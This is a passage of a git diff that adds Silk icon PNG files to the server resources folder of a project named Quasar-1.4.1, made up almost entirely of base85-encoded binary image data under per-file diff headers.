z*;xqH)!0`m@m-<752~HgQfzv?*x{N$@^2sTx#F7i8_<2P(S0X{b`LN<4jdc+OG`)@ z42aN1o^|Z^@@|EqHwp?ee&NF0l%1%rf0t}+1r`^9wKb&Z=%lD z`Th7toB5lCq3HEI(Or_)WBl$0doayhhGZCWg5 zIaXr;=FI@)(xX)#?RL1`?sUv@tj0Xdn*qql$+<*FEKn#E xyBx>GtX6BB>b$nLwvMWd#wRStYRtpDzXADfss$&H-+%xB002ovPDHLkV1ii!VgCRC literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_put.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_put.png new file mode 100755 index 0000000000000000000000000000000000000000..e026323c257e45d5d4c8fd0464a47340d1f6796e GIT binary patch literal 694 zcmV;n0!jUeP)31)X(c{M zhz)p)O~Px+7wZ@D#M-%R;V~M-s$MTv(oYF@s#+``Pg-ytJ*L|fkOYl{i~9pGGz4Q~ zV6(yGB;Lo5SZHm<(bB?Vb2HAmdh8Yp_G@J<9X#S%jEGFy5O_|*UFhk7jt-cZfYDLt z?8IAKj6ElZS)&n$!N9yu$BV>7-d0s%%P&Oi-e=zs2=SGep8BdQLB7V!44Y?g5U*Oz ztV+elgakfIOh-rarlNvrV-_N0@0>Gmw`Ow&GVeB-x8GY{2Ho8-HwRWLKCPAoNpwmP zXM8+Um6g2DFd`ItrW`w!${)6{mXj6W$;|9qFD-@PVHh9BC#{RvSX^;&%$v=8kYs0Y z*py?3V%JaCxT4hsxHV~go|4jU0&)hfs3=xyYB>M!4B7oUGP=^xwWsjQ9xR_o4)_wU zda!!sD!%r1)~c&<6qq>MtEFwSftJ^Gq&BM9vPesZW415uKV(}q72%d-nb)oFP}B74 z7IoHIv`wkR)I>&X*+dZ<5hU}D+_;(O*0-g2F81bf`=y22XJ!hzayd{Q?he1K9QbWj zPq!ueOUt&rdj>2cRhWmalU|=fSc&4DB0tdok2^0dkLemuqPdeyXi>2BuRfEsJfbWN cdh-3rG{ z$cl-P=->hx6#}NAmbP5myY~I>{qOhtLMa7Y{qE64eE#g}(xpY)TeQ8l?;Upi4EuP3 zj9qNwYy4OP^j-JLi)W5q`snr30AQZ_=_2*h-J^Uqwd^<9gC_@m_YruehOwSPa9@O%#PST ztn>RnbQXoQ3&2p_*N2(YI zkrMO}==(rnxsJAW59QQs0L07JZk*~;x_q%%{cN7dr3j%I4jC^oS!R20 zp-X8Kpw211iFbazd*AM1?Vu^zTr_Qvx?Y!ieJR$aQy;v2#^ddUoYEFRo!j>1ci(tn z{K@;T0)Sj-bCEg}zP!0%dBFa`LT=k_fI7GB{l`yczPWYR>anra$&%HTk?G3F@#Ue> zFdEg-dzaUZYPNRv<+lA7pzgcw+uL{UoxOeM-g%tFNu0n5OqYg(!P3&eWMyo1vh4Ri e9{q`*0R9JiiaRV3rbYDt00009Gp0rM-&EhljN^i}(|Pq=@5XF~~)>U!;+BT;WiZ;-?olqd>fK_MstEkar}b9uop zSG%(%K&q)D8CgaWKtPPtDOv9I8!SQz&9K@qF)=0vTF8Vz6y!_@T)cF~Uzb0()L$?a z`$c#8#_Jq>ql8oq?5#4M^3MAs_Mj^9a~&q%&y!>ZY?Ffij=buvY#%T_TY|PQcQN;bwCQWy*nR;m&;UD z`|<407yq%aQd%Bnb;^cyP&KV4wU)a7>4a6Dx$h-#bpLzK{Pr$B8!J;?KlH*=4~)Nd zXfFUrnL1@v!}G_xF3kSm{Oos*9r(bTXJ0f{jKZMUxbxsWQRhe^WR#$Jv5>jf6w4x#gTU%_MMNlkNp$oSbvBp&uHw9M;u0-4@=t5BI zP6Hx#-C_{5RMJ z0_P+Xkumexn8%)S+Y)#l(gR;YJP<6#1-=jjK0LONWPdJQIR8uK1HpvVIxBIQ2ztt+ zqoEx_X9S%QGMe=~(k#sebCL-an)%CR%a7YtUOQUgv+G>~?N~XSWhx=? z@$fx}0MB;$`JWcQ-Re{XV~5|{DvU(#*+NF*g)j^qk#b~G9_O!i*y&mZVZ=a3;Go(K z`DkskYn56Nhu+k@1Ke*uY|x zI&k6j$JfNe_a{GH%=n2rZOz$Z8R9V?Pe36hIk}jo+A-`;dt9vyvBu#Xm@veu&@v`| zzt%mwc_$nd0-sMVx2d)b0!MqGxmfCumx7yB#nIUWvA{!HOMfslMyW1iV&nY>zxwyj z8^JfLN|kT z4m^Q1mhO(_r4w@`V?H=YNkOf(i&bHT3Auc3bryK1_{hDSetLoLN{VLB^78ULiNFy^ zkUqqG$fjVkJj5tfWkOn|P5`HVEp5@-mGnc0wvJGHC=+39MC2TWT#i?t*~fNch*he_ zgtS^8dH$(KlW)EF1b4Fzv~?&0IQaNdg;W5&{t&Bmg9&N1-rBBr_;Rg8ekw^mn;@T# zlS{|Rq+-Nlg18i%UY;i|q1NnSwf>I@85#4U4002ovPDHLkV1mEDi4_0< literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_code_red.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_code_red.png new file mode 100755 index 0000000000000000000000000000000000000000..8fcf0f09ae3046a7bace82cdd583ebcb2bb58beb GIT binary patch literal 868 zcmV-q1DpJbP)r^f`W}XqzY0MJb1LFP|{o!^ss14Q0vK;LyO=G zl>{$>EqZ7VQmVn=L0C~*jNqY3H8#?%q3Q0roqd^|`M-KFiSY;D>*w+ z0Uz8~N>7H;5K4nIhJi8x&;^=+2HHRi_#F7wV{=BSiHAq?ldnB7%+B?NDTcxn+mRj< z61uVG&t{Kr{^%b7syl&^Lec@Cep}-^4xR%E4^qC%y(yQ3>*6Qik+BTBin;Qqm)75R zw*W0=p=2VIfv#`}By>6vK?FertpVKXX#ie7d!5Njjt7SP;cXxv1|$2wnnxX-rXOi4 zCubS@>|?^9Pd7I7BFjL40UX`or)zDNt_SNbfH*o`o?ZIlnVdI3Iv!zck$CuY8J#~x z)b7%c4Si|A!bT_N!^PE(7Gl~JM~)mcVf5GNuwOLw7WHHApn#=ARm6>eq|;~bu^Cde z?}?Oyv7mj85~6bc<;NCXGl=HnedB4fv;xOx>Ez2eF6cs;-(PqIez}UA80Vh3leki1 zEvPs~i&z7=CLFw&__`LE$}XG}Z(?sXaIqwVCY8B&QG4#jxmcq)!WE?ipr}qVB!Avj*}>Ogl)r>xpM?l2gvx)>cyy7Y%IL>tOalZ z7KZkUkERae#gJ$;z;SV#4Z;A{PMkvKieMq@xis1Xw20TYuIEiv&kg}^KR7u~uX={> zmIb-4=EqMikoGOU2g$_06|%5e4^cvFYy(<|r-0{vUS6X;@aV-BsV%W|5Xzvm!B|VV zSmdRrN4ePw(Lyx-1EhTP`6nOBym9#P|NVfrAhks(z{2T;b+SHmdm&oN)=psUW;5W- z;xeUthEgF-DVL&{OL0dwNh;}*@>~v0jga!7@pl(3<&AB?D0QxOd1b72d1W_n*JgKa uR!k>-Kb`g|yI#9! z6)lXSPy)q8C1lZ}g3^41=HNKqnYs7QJ?H%A@B2c|8SMY^(nC0W>$>q>gSs`STXowS zHf;~fxQ2v9EZ{R7D*@W3dHBBBHM?GWY!d+JSMBtmYNr=h)3&N+d6b;Lw&L5f{XIBX z0<=xDd8!-0r5i~n1ZAKo8S6whk3~g{It4qoP1rg;x#5%3mk&jNRM%6JB~8n674&Lu zjOeY>TV-L${7M3Ee16fcxk-1=bT*X$sjfGy?MD3({naGKphQs+3kpFIXc5wqAI~j1 zbFp{11V~l2d3vJI8#V@`EXJ&e#1s^fLRJ*Wg{w;=M~?r!g#9HzQ&rnHPj&QGvj#Fn z3Svg0kd--VGpUm_RWo<=l}E2ffK-jP&rXl&S6PS@A&7_wfRM?VW;BwjQGycozWv=q zS;X#GC#q5sWn>vi00A*lr(~r+Xs`q&G^1+MA;g07I7@NDx@V8^d@28HxbNq=; zzxe*f?K5pkhju@>PI%T6esG3%jS_iIPFg`oSQ?CLj-`b*R!!2d1>j$2D{N9N- z_dNmtQl?H>)o|vgtp>k-WAdw)jfVdjV0o#K3YUx7d-mS8etPnmh2`4C`M&w3RZD|f z-DE|Kx}BgKTK}9nDt3ap=<6+H=dQ$*8t;dl`wq|GAhu&8Hex;2V|u*X>5Pwe>`ABX pxbn5N{RLGS=ZoANdGc8E?*HisN=owtMsNTC002ovPDHLkV1hpQeRTi; literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_edit.png new file mode 100755 index 0000000000000000000000000000000000000000..b4d31ce282f378e5b94cd40680d283842229e491 GIT binary patch literal 880 zcmV-$1CRWPP)dH?P zU9(eZs5A|8t5v?eTRRMlZU=heApt;c-QWm;Ex@uN>_}2!i6teD1%o>y^d_S1XRa-N zEVlrobv$Z==R-vaN*dOiP;xh}(13rd27nL8<{3^$d8*UtvbO>4tszOR2{qRsrN9O( z3#0`W0!x4o2vg>#nIhNcON;jbrFs$(i&Dd*-VBg3z>*-1z>;7Qu%r9~e~*90+noc{ zCV%7=ogDig@RaK7i93|s01qGl%Lrt!v323f)kR;ImtNTS&iSm|tlwheV@t5403k8+mq?kbBz7Iez4s~7(WvsntW4bC^upoW zL+_1G1IUA;W1XH-C-(17v0M(ATQQWfmq_ZL>3(tqwR{#U6woa9k)QmX+`va6fx$W7fs9{PlZoQqK^zXeF6_0Y=) zo``&Le1wy)J;oj`vgg^i2{p0wZPdg%Emnhs7DUXV(uFJOraKqiM8$=I3#~g5 zsinLfkEQ%6M1VxHcYm;Ee*Cg{jbI-l!ye@3hJn(LR@I1UqL;$#0T|Nz5 zd2nc8vKx82ktgz=UhEq{3)lo4unp9JPk^rj?#9RQlPAi1CSN^MWOq8&=eySDxBKp( zji41e?rgTX`giA9U}iT^$|V&5%XLRWDFOv1fK)C8U62)K_Fq}nj!CBztsdT?o^1a z9Vz7!H2OjeSOM!4)`4pLLT2e5Y}mpJxP&9NcC>owiRkmrsu!X0<8YS#xZ)9Io~& z!>UepZx&_G$m{7Ncig zMh6C!ID{S;<3ME!Jurq!9wEpaBbhy#*}VB}NmVXfDF8FT2(S;>_wM+or;J2eyeRR4 ncn{*igLkoLaaMWfMP&XzP&{b)e?%0|00000NkvXXu0mjf(|U^f literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_gear.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_gear.png new file mode 100755 index 0000000000000000000000000000000000000000..56fcf84a8518f692988061347375c9f6ff8d0dae GIT binary patch literal 861 zcmV-j1ETziP)-~Z!n@9pW{oO5sFQkR#oNEERoq9}~OLlE7(C>^?38iHU~FCGf)7!g^i zr#b|KB0a>q#9E#VC2d>I$+ouU+sE5`|IdEEpe##p>ifB)xbn@_=$0}CvEq;yxiY$Ba;K;UP=U?3g05+4N(N2oSY9}8}Qr5e<+2svC{=In|=VE{& z%bNW?0hoJ|s|0~KAd2a&g!c4?qA*m6I5b-GRHHul#pL5pLx4O@`|B}T!Fm#Cr9A1< z>d@-2vc=Ly4lZ7Q=-61@^Fx(gF+iTCgWG#Tn_V_LxiAdGh$6y>NFWL*5aerqn_hMM zVe4@WkS9sAQH!*;GVN|D3`%4zyI{*%a_aem2=mJ zaOvo?dn~M#W*2kyDxFqK6h)fNrs3gXwJQC6lx1LjecjyLoayOlah@b^;KUzyXRL0; zHoB!WFBREABOCJu2N#TujhP((+Eh^5^Ym^jD=Y5Yx$`A1#Ce(?e*3i-Y9F6`2>|3J z*S?v;fQ5wxM-Cs<>2%D@%xE+k@LsJ}dq2+8bY@|><=V}=2Da4<^j8hkdo}941_p;* zy?WILAD%V!`=rIiMayN=ty`a$S(e?rapOiF96EVr21Po+|=RvfC` nv$VA2&+^D$IC=Zp*(vxR7Y$Nw@UeaB00000NkvXXu0mjf2&J7q literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_go.png new file mode 100755 index 0000000000000000000000000000000000000000..8e154e2313cb8c8e66baa5a2b22f20a9186a51b2 GIT binary patch literal 839 zcmV-N1GxN&P)z22yyMI`&M<>aiqax`m<9PjBq5ZbMGKcLk`}FvHr3V$f&yJ7L`0OE zD5_PFU=K#J5rqiU9y&S`lcwW%=XuXL|9?*3mo!ZSj(s_|2Pbz7_w8S+YHL-ks%z_^ z?qC`B5V42_e2VXLfI5V|PfiT%fBo4p0I*utLu+L{wAhW4WyNw4-MqKr+v}@`aXbg8 zLl__INxC)-4u+D!g5xjY3*8c5nkB_#-a)4M>BO7~Cs|BmwC`}VNvWzq%lgJWkByq`w8;dT_ zcII<{SeD~M{h7{suvRqEw2`HxF_EQY8d-)Wb7!e=>g?Z3IFx592OOQh-%CUC4Pnu9e!`IV? zHFZ$dK^cQBn;y1vVz1@ys{8A&=G{=VxxbP_EQ<|!yGNdqrHNQ4LR~ui*vn#5i*;0M z%y;HIF?qmBx$e^JPn}(Frz82n<7Y;3V$UO6-Ck z`Rh}6%iu^JtLo_&5AEuI>!p1F;OObXC%?R>tV`Wc+A;d5eLIf0cx%eJKYm^+r3U6{oTe5J$idmy?N@HcLyYCzv&ylY2Q6|YUcC@ zS0JxL_+skfwaKZA*S29ZHe(YuVW_XC)#~eO>5Nu>`140Y|GY7ihq12!{s-FVb;8HC R$Nc~R002ovPDHLkV1iD+kv;$b literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_key.png new file mode 100755 index 0000000000000000000000000000000000000000..49bb24d71daee6956a5a1e4417ef1a0cec4a407d GIT binary patch literal 853 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 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_save.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_save.png new file mode 100755 index 0000000000000000000000000000000000000000..36216d8276dd679934346c30ace3006e1d76bbd1 GIT binary patch literal 804 zcmV+<1Ka$GP)W!a4mwm4 z9lAtNv=ALSSd<+NDwVaw^{3sLb!X=Ld%vD1v~3H{e06ITmmVL?oETThxJs&&OzJem zHtwUrCLZ83e4hiPx_{6!^k(M?jGkMpCU#xpD+L1R^b^O%J&(6Mk`UL>+ z=KDX%bR-j>Tz%V8|BxWMH@@Yq=Prq6jEhpgV{ iMhatptY3F`RQVr(hfH%Uc-uk%00008!PM!jse+otDvXRhleu>w{(hr=P& zTV2;rBMofZo=3rrs;YWAJqHeofOC+HNSe*6&}=qN@aeaKWm$(L&gF8enM?+{FRwu9 zoD1NBqmclHW{%@Tw}6Wqg+f989t^&~Me(EkfChX#56VZfjYtFPF_lU|uh;XF8H4TO zj!YM$blUKV1mw(6M2qNP2;H{su`-!X|7n%u=>+~>3AvaIiltqd9#DvgJ&1=10t0D6 z$;|KlP3c1Y-2fh17umvCJQ4=!_2+B&{P5)SL<2$#ZY7EM2$|!%^Ti9`3q;4qtws{i zDI^jJKbdhUAOoMo-`t-B@esjXtJQ*jzYmI{z|3qKZ(vLsG2zn?;Y5OJwYqN@My1o~ zTxy!Ox4y9nOZhb^2wGcN&dWOz9qA2Pi2L&&MfZ)$Tym*VCU=T$Q;z6Ze zJ$g#19)u*6U}?pjN9Q`P1faW_&ZrhEh`zTzI_Q+4udtc{7?20{`>0tzC%6 z<4$0NFD@aX1`EXFfryb1uLICn5nxWaVpGCkj6kwT4ni1iOhPYO8V+7ZA`uje zMd-SYjtzD?ftn&>m3S@d6_=&B-;Cz zF*bAv13UKN-Iq6*nUCUQI(Jw5*Xv9h7Nm56LZ>KDJd8b9y7n953x!Z9A}LY;0000< KMNUMnLSTZ#4=Y0e literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_chart.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_chart.png new file mode 100755 index 0000000000000000000000000000000000000000..1128d3f338c0cecbb91fcd9ac0f6e5ea4598218c GIT binary patch literal 673 zcmV;S0$%-zP)7AT2vWj$BZsrIMeOXfs&qO}(Cv2bXmF`i zn$P8OI5_+UtuCd4RFa4k1d)YdIKBkB+$xvL=D=8hn7|*seIk&jacljqDPt^wuF-W} z_`aVg3xOMp%SK(DsOv`m(}89d1k#uEK(uwQ`+>4B>iWM+_wG-2kn~EK%bH+uY1OEY zT&M{>ut&^^18tc|#7X^j1Yi9``uhQ%%^X6#daT6L4gVa$DOmh%oF>}(w1O79jptw1 zfT=8SaeOJ^j z9Ox;eQmLfwvo0bDP8ISYeP{_k1*6;T>n$70^-rg?Ku7#^t7EmtFLkvlsX#yA^ z0&)=vupq!uG(a51$y=z`>)VvJ8;!<#uh)A?qg~QVB`&`J&rxpz8Yd(B(?r6h*;wB` z0t*?eNzZxZ$!BFL^PX_?_pZu1u)YqRuyb8F${wa literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_compressed.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_compressed.png new file mode 100755 index 0000000000000000000000000000000000000000..bf49fad9deb97c5a6afb67867fef7151d3f3c19c GIT binary patch literal 721 zcmV;?0xtcDP)LAt_C)p(Rjrvjl$x6>nZFiinqh3jPb8dl5tM>LG_BlnP$G3zi&; zV5o>pV425P#d+3b(m@taAL7K|XcFnkO%?|tvRZ-)sX@IRk%cvG!bAN#(4 z+w(kwDyXXEx~{BG^7;I&kp%U6Jw|{>@pwER4j+L-AOr!FHc~h_8ArLidXsj464Yw7 z%MzSOBxWL!2sWGFAiD>FKp+Al65vGUIL>Gbba^$MPOFV=_uvuuef=#F1jBV{;fk^` zl0bS4g+j0_tKXS(oR~kQx{LkpGU&f5kj$Jw@{$~glwPmBp~@+sF2EQXjVQvVhUJwd z@&qQ6Y45bA7Z-~yrJ$dcP(+eoK6?h5wT5Wu8H@;>3l7IlVr%yz`(eed(eR4SF5JDx!-HU+!&0(x(aLNwrdd+;0^ zFE^53V$-K*oo?Iz&}?N_mL7g&hhJl%P*@#6V7`^Hd1#_@^v<%i-4wq8=5C=k00000NkvXXu0mjf DekwlT literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_connect.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_connect.png new file mode 100755 index 0000000000000000000000000000000000000000..49b269145afbb97ddd03fcfa844ea832c947fdd5 GIT binary patch literal 755 zcmVwYT0AgCL27sE1k% zB#Vk*Q+6?;e9+Vt!L4!K*`1ktXYNe*UVlWT^w7ZN+<|kx?>px^H{km|{^wKwm9Vg| zaNl*^8;;|sJc37gD5WAk3LK@NP$bk5Y$CIXlI%=4cd(q9B*cVPIfT zN-yMdJTl47IAHqHm0t=ttI8)@h=c;2s@8%}%bVy(RAhosz?g^LzLS!DUxmLngP`ow zrfn8+J7Zx$33yPOy6}EAf^^3q=H^}@`{F5>9HNI({R$?_cfm&~2_!((r0s!M>3g`lJ{4?wIwATQp;6yHt2^& zKYuq+Eb5L^v&R{AmzYgUE~OhIXUe@VXP)2T#eMsaNyJ@y*%#F`%&V0x=ZR~P^R7jY l<)&}aKbCWipX^bu^(V1WxGAiK0S5p8002ovPDHLkV1nEbSAPHi literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_database.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_database.png new file mode 100755 index 0000000000000000000000000000000000000000..b24e826c70485ac1eca79266cc94b2e1ae0a1d90 GIT binary patch literal 666 zcmV;L0%iS)P)#!|MU57FB*-;`{iB zltEd-G)>MQ3WdU}jeu6Gb%zSx#^dpVu7@$FB3Kqg8!6n{isS6;^d+tS1T>q?r(B#! zB(@`w2rhs2z}+p&hGkm>vY`kzpU*dsK$}lfsgx|PuCB45;;*d>0$A&Ka`;Tf*a+Ym z1Azd>7o`0^ zD1W4UA_^R@YymM~XLnz^iwE`sMl_6kK96WLn(%l$m`3tlgU8W^|fpsnH5pPhXPm^s~h7O^zPdU%%v&b^m;uEheP!HeNbn)AFSBJ z=D4?!CCl+yPJVsw4MJL2IzGU?Fbo61kWM#H6OdXN>u%=Xt80A&C>DzcolfU@rBb;#Kd(U#Xvm}= zAeGuiI(eV%75S`kHk-lk_ahVv34q7fZokG-sdPy6V~Sn(F=ew^z>%07*qoM6N<$f?lLE AtN;K2 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..61e740fe18dc615016c3493811f305df96d678a7 GIT binary patch literal 668 zcmV;N0%QG&P)ZQIL=Mmwl(g-y|iYtDg0bIogV2(V47x-17<>@P+Hf!VQ~;Bh1ADY_Vk1>Kc5@s ze}58`N~Nm;9En7Z`Tc&Zu9YFOQ_4UY-hbj=vgo8wo7>bZ?mX^6EGP}5o4qgAd zf>y7X3>E~5{sEcYRlyGFL6@t*C6FW{GilXc39MrFM;3HnTt|X7nCvx95Y4`y#>dJg ztfe`ee?5c6OCFj}YU|v_+9e2S?u!(X>8@nT&ql-J&^L3?zb)dzt-H{Tgi?Q*KmN9` zaDU;lXQ!<|OhHxER^9tl$hWZk7^g1YfN$j)lt&}z{_q67@vzDiHtH&PUMLjK8is*D zAOPQypQzOua-5=e?fX~wjvBzVJA2(9k3ywNui{G2X0t6|kiq1HIx$HB zW_et?e1)g6CxGQBiXw8kTq&|)pgDYkM<-j+S+T2y6lPy^62aYq&DA(8O6C>^FtR~K zY!hn=v!0MX(AnV8*}uTWDx7b$!|CsWCwLOS(jg>=dLNe^lxjuzW(EkiwDRc8MWrzT zziSEZ+H+X@`URpzLuJ)LxN8EQvV&~^htSAO%-@~E2>A%S!FH&NeGn@w_$DP$RJ5!j z=g*b_WwB8z8Ur}>1X^l!cp9%k$vlHq)M0nmV_#u3n7UScz@`dA}==j2R8?9RoCPqd^kk99_k&dImN83s2usHn$CKPP0)nR#b2G3^$ z2t~&h{yYa9(B0jAW^Qh-qrbm@GLw9X=C&R^WM%8FgJjux z8z1%@)9>H8E5K?%8h(ZObQ+(;He^)?YjH9bi#7cdaN|O?+&qJbow|jiS2#4N{$R0WLTZ2{0maUAKP;ba*kDOsb7Wqlp%QS1KhU;N7@5by=0s zmq6AS3WZRs)!NF8;Y8}BQWt;JWwZBmAek9~JUvF7O!F1lQ?STdk6+P4mt#iL@Kj(?SViZ@x(dovnP-+Hn95Y`kB52 zT`>FGIGz1~vGoN;+ytw=L1JPK%=PZAJe>~iAdt=J+(_9tH9m4-G(O@;Y8GggQGD_Y z!)611)4NJ>t;d0!g0AbTZfQU4Rk1%7f?;igyH%=>gVmQYa{i9yyY9o{Dh&#KClkq zZ^`-W=(`>n#l}|$Yi}RC(E2^+50BD61>-}qA41;3ZisG1`*xOo17YZXX4HXKtN;K2 M07*qoM6N<$g3c2*g#Z8m literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_go.png new file mode 100755 index 0000000000000000000000000000000000000000..540c8e2689b19cd661d3f07ec6d5c69a48ee79b7 GIT binary patch literal 706 zcmV;z0zLhSP)7<1w@I`*?5OI84*T|9oBhH}d)X zV_ny$7-LpT(?ounOeSx1Bq$b(0RlV<27^hr+Y6OI;2f4ea@pG(#Qc2bI;{>8 z6bgmQ0vry9qduPxrLScOb?OXyK&ctFdYopOnzzF=IxIzTH9TSNw zRv8@$M2+3u-KbWpO=ZKt@W_~@Zno4#v;XQqFdGCChs31_>&3!5%7&#b{zWFQc68tn zplmj4#^Z6+YBf55z<5&3{|y;v7;9uv%2$5X>rHda_}~n%R!c9`2Bty_PB{afo|wH(i1~} z&mbZJ35Q%B^!cO6Z!BTy%i>mD!&!%IJ)KTZ(mdRYL?UO7ODFJPbqWeO)2I~TMhXw( zyp+KE^<^xqJ^!icxKx=jKRWim##AbmAfj1{QTs88yd0gw>A`WlSX(G-+yZ}U&%wWZ o(p|@%!Cl@4H>AxOvt;l80V><8&-M2O*#H0l07*qoM6N<$f@GaWM*si- literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_key.png new file mode 100755 index 